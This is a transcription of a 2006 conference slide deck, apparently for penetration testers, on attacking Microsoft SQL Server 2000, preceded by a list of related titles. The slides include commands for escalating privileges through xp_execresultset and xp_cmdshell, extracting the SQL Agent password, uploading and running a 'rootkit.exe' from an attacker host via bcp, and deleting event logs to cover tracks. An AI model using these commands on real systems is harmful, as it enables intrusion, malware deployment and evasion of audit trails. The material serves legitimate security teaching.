Violating The Corporate Database. Presented by Dan Cornforth Brightstar, IT Security Summit, April 2006



Similar documents
CERT-In Indian Computer Emergency Response Team Enhancing Cyber Security in India

Manipulating Microsoft SQL Server Using SQL Injection

Hunting flaws in Microsoft SQL Server

NNT CIS Microsoft SQL Server 2008R2 Database Engine Level 1 Benchmark Report 0514a

Microsoft SQL Server Security & Auditing. March 23, 2011 ISACA Chapter Meeting

Microsoft SQL Server Security Best Practices

SQL SERVER Anti-Forensics. Cesar Cerrudo

May 17, 2011 SQL SERVER SECURITY GRANTING, CONTROLLING, AND AUDITING DATABASE ACCESS. Mike Fal -

FREQUENTLY ASKED QUESTIONS

MS-55096: Securing Data on Microsoft SQL Server 2012

NEW AND IMPROVED: HACKING ORACLE FROM WEB. Sumit sid Siddharth 7Safe Limited UK

Securing Data on Microsoft SQL Server 2012

Securing Database Servers. Database security for enterprise information systems and security professionals

Hacking Database for Owning your Data

Hacking databases for owning your data. Cesar Cerrudo Esteban Martinez Fayo Argeniss (

Database Assessment. Vulnerability Assessment Course

Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques.

Penetration Testing: Advanced Oracle Exploitation Page 1

Thick Client Application Security


Oracle PL/SQL Injection

BLIND SQL INJECTION (UBC)

Medical Device Security Health Group Digital Output

Hack Your SQL Server Database Before the Hackers Do

Super SQL Server Systems Errata List (Last Updated 18 November 2006) Table of Contents:

Locking down a Hitachi ID Suite server

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Internal Penetration Test

SQL Injection. The ability to inject SQL commands into the database engine through an existing application

Security and Control Issues within Relational Databases

GUIDE TO SYBASE SECURITY

Nessus scanning on Windows Domain

Database Auditing: Best Practices. Rob Barnes, CISA Director of Security, Risk and Compliance Operations

BM482E Introduction to Computer Security

SQL Server Hardening

Top 10 Database. Misconfigurations.

Penetration Testing Report Client: Business Solutions June 15 th 2015

Advanced SQL Injection in Oracle databases. Esteban Martínez Fayó

SQL Server Stored Procedure Attacks

DBMoto 6.5 Setup Guide for SQL Server Transactional Replications

Penetration Testing with Kali Linux

Windows SharePoint Services Installation Guide

Medical Device Security Health Imaging Digital Capture. Security Assessment Report for the Kodak DryView 8150 Imager Release 1.0.

Improved Penetration Testing of Web Apps and Databases with MatriXay

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

Database security issues PETRA BILIĆ ALEXANDER SPARBER

Oracle Database Security

A Forensic Investigation of PL/SQL Injection Attacks in Oracle 1 st July 2010 David Litchfield

Different ways to guess Oracle database SID

Auditing Data Access Without Bringing Your Database To Its Knees

Ch.5 Database Security. Ch.5 Database Security Review

Database Security SQL Server 2012

CYBERTRON NETWORK SOLUTIONS

MAGIC THipPro - SQL Server Installation - using the example of

Securing SQL Server. Protecting Your Database from. Second Edition. Attackers. Denny Cherry. Michael Cross. Technical Editor ELSEVIER

Pre-Installation Guide

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

Metasploit The Elixir of Network Security

Cisco Process Orchestrator Installation Guide

Achieving PCI COMPLIANCE with the 2020 Audit & Control Suite.

Immotec Systems, Inc. SQL Server 2005 Installation Document

Automating SQL Injection Exploits

Connecting to Manage Your MS SQL Database

This is the original paper just with a bit of formatting changes, and the section on uses.

Database as a Service (DaaS) Version 1.02

Advanced SQL Injection

RSA Security Analytics

Before deploying SiteAudit it is recommended to review the information below. This will ensure efficient installation and operation of SiteAudit.

Installing T-HUB on multiple computers

Oracle Audit Vault Oracle FLEXCUBE Universal Banking Release [April] [2014]

How To Set Up Safetica Insight 9 (Safetica) For A Safetrica Management Service (Sms) For An Ipad Or Ipad (Smb) (Sbc) (For A Safetaica) (

Violating Database - Enforced Security Mechanisms

Remote Management System

Windows Remote Access

Database 10g Edition: All possible 10g features, either bundled or available at additional cost.

Project management - integrated into Outlook

DB Administration COMOS. Platform DB Administration. Trademarks 1. Prerequisites. MS SQL Server 2005/ Oracle. Operating Manual 09/2011

Computer Security: Principles and Practice

MWR InfoSecurity Security Advisory. Symantec s Altiris Deployment Solution File Transfer Race Condition. 7 th January 2010

SESSION 507 Thursday, March 26, 11:15 AM - 12:15 PM Track: Desktop Support

This document describes the methodology used for validating the model, analysis, comments and test results from the model s application.

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Use of Commercial Backup Software with Juris (Juris 2.x w/msde)

Defending the Database Techniques and best practices

INDUSTRIAL CONTROL SYSTEMS CYBER SECURITY DEMONSTRATION

Potential Targets - Field Devices

STEALTHbits Technologies, Inc. StealthAUDIT v5.1 System Requirements and Installation Notes

Medical Device Security Health Imaging Digital Capture. Security Assessment Report for the Kodak CR V4.1

Oracle Database 10g: Introduction to SQL

Penetration Test Report

State of Wisconsin Database Hosting Services Roles and Responsibilities

Top Ten Fraud Risks in the Oracle E Business Suite

IMF Tune Quarantine & Reporting Running SQL behind a Firewall. WinDeveloper Software Ltd.

Understanding Sql Injection

Data Platform Security. Vinod Kumar Technology Evangelist

Microsoft SQL Server Staging

Migrating MSDE to Microsoft SQL 2008 R2 Express

David Dye. Extract, Transform, Load

Timbuktu Pro for Windows, version 8

Transcription:

Violating The Corporate Database Presented by Dan Cornforth Brightstar, IT Security Summit, April 2006 Copyright Security-Assessment.com 2005

Disclaimer: This presentation aims to focus on some of the more common attack methods used during a SQL 2000 penetration test. Using these tools and methods against a host without the owners explicit consent, constitutes an offence.

Overview: Database basics Data structures MS SQL authentication concepts Historical profile of MS SQL Potential attacker profile Identifying MS SQL targets Basic tools Authentication quick wins Escalating privileges Uploading executables Covering tracks

In Scope: MS SQL 2000 Internal attacks against the corporate database Attacks against communication protocols Gaining privileges Escalating privileges Maintaining access to the database Manipulation of audit trails Defending against the above

Out of Scope: SQL injection attacks through web applications Web logic vulnerabilities relating to SQL injection Attacks associated with vendor released patches

Potential Attacker Profile: Anyone who can send data on tcp port 1433 or via named pipes to our MS SQL database Anyone with access to a flat or un-segmented corporate network hosting MS SQL 2000

Assumed Attackers Goals: Repeated access to the data DB access with the highest privileges possible Access with a minimum of audit trails

What Do We Store In Databases: Everything Built in data types User defined data types

Some Basics (Terminology): The Structure Query Language (SQL) Variations on a standard Microsoft s/sybase T-SQL Oracles PL/SQL Subgroups under ANSI DDL (Data Definition Language) DML (Data Manipulation Language)

Some Basics (Data Structure): Database Table Columns Rows

Table:

Column:

Row, Tuple or Record:

MS SQL Database Authorisation Concepts: SQL Server Roles Server Roles sysadmin dbcreator bulkadmin Database Roles db_datareader db_owner Application Roles

Microsoft SQL Profile: Code history Vulnerability stats Maturity as a product Market share

Identifying Targets: Sniffing nmap (tcp 1433, 2433, udp 1434) SQLping2 osql.exe

Authentication & Authorisation: Windows (NTLM, LANMAN, etc) SQL Authentication & Windows (Mixed)

Authentication Quick Wins (Overview): Default accounts Sniffing Stored credential access, database build files, remote registry enumeration, web application source Brute Force sqldict.exe and other tools

Quick Wins (Default Accounts): sa (sysadmin server role member) distributor_admin (sysadmin too if created)

Quick Win Credential Sniffing: SQL TDS (Tabular Data Stream) login packets Windows authentication credentials, named pipes Mitigation and trade-offs

text: text

Quick Win Local File Access (setup.iss):

Brute Forcing SQL: SQLdict.exe noisy and clumsy

Stored Procedures: Stored Procedures Variables Loops Conditional logic Extended Stored Procedures Usually written in C/C++ Called via the Open Data Services API SQL 2000 ships with a huge amount of ready made SP_ s and XP_ s

Some Dangerous Stored Procedures: xp_cmdshell xp_regread xp_instanceregread xp_regwrite xp_readerrorlog sp_addextendedproc sp_addsrvrolemember Many more e.g. EXEC xp_regread HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Services\SQLSERVERAGENT, ObjectName

text: text

Escalating Privileges #1: xp_displayparamstmt xp_execresultset xp_printstatements e.g. exec xp_execresultset N exec master..xp_cmdshell dir >c:\dir_list.txt,n master exec xp_execresultset N exec sp_addrolemember db_owner, lowlevel_user,n master

Escalating Privileges #2: The SQL Server Agent account password attack Stores SQL authentication details in the registry under the Local Security Authority key: HKLM\SECURITY\Policy\Secrets\SQLSERVERAGE NT_HostPassword\CurrVal exec msdb..sp_get_sqlagent_properties Decrypt the returned value: http://jimmers.narod.ru/agent_pwd.c

Escalating Privileges #3: Data Transformation Packages (DTS) Package Password retrieval sp_enum_dtspackages to enumerate configured packages sp_get_dtpackages to retrieve those packages enumerated DTSconnpass to decrypt the connection passwords from the returned data: http://www.sqlsecurity.com/tools/freetools/tabid/65/default.aspx

Streaming Binary Files to the DB: Step 1 (from the attackers database): create table temp (data text) bulk insert temp from c:\tools\rootkit.exe with (codepage= RAW ) Step 2 (at the corporate database): exec xp_cmdshell bcp select * from temp queryout rootkit.exe -c Craw S10.1.1.9 Usa Ppassword Step 3 (at the corporate databse): exec master..xp_cmdshell c:\temp\rootkit.exe

Covering Tracks: Use of sp_password Useful where C2 grade auditing is enabled Can be used in a comment field -- Removal of c:\windows\system32\config\*.evt The 3 byte SQL runtime patch Must first call VirtualProtect() Not a trivial attack The patch will not survive system reboot Complete unauthorised access requires two runtime patches

Conclusions: The most secure database is the one your DBA knows the most about The functionality added by stored procedures can be a databases greatest downfall The principal of least privilege should be exercised at all times and at all levels Host and network based IDS systems may catch a small percentage of these attacks but never all Experience shows that most instances of SQL in the corporate environment can be compromised due to: poorly applied database permissions missing SQL service packs an elevated process execution context

Resources: Chip Andrews SQL Security site http://www.sqlsecurity.com David Litchfield & Chris Anley http://www.ngssoftware.com/papers.htm NIST Secure Technical Implementation Guides http://csrc.nist.gov/pcig/cig.html Database Journal http://www.databasejournal.com/ Microsoft SQL Server Security Resource http://www.microsoft.com/sql/technologies/security/default.mspx

Questions: http://www.security-assessment.com dan.cornforth@security-assessment.com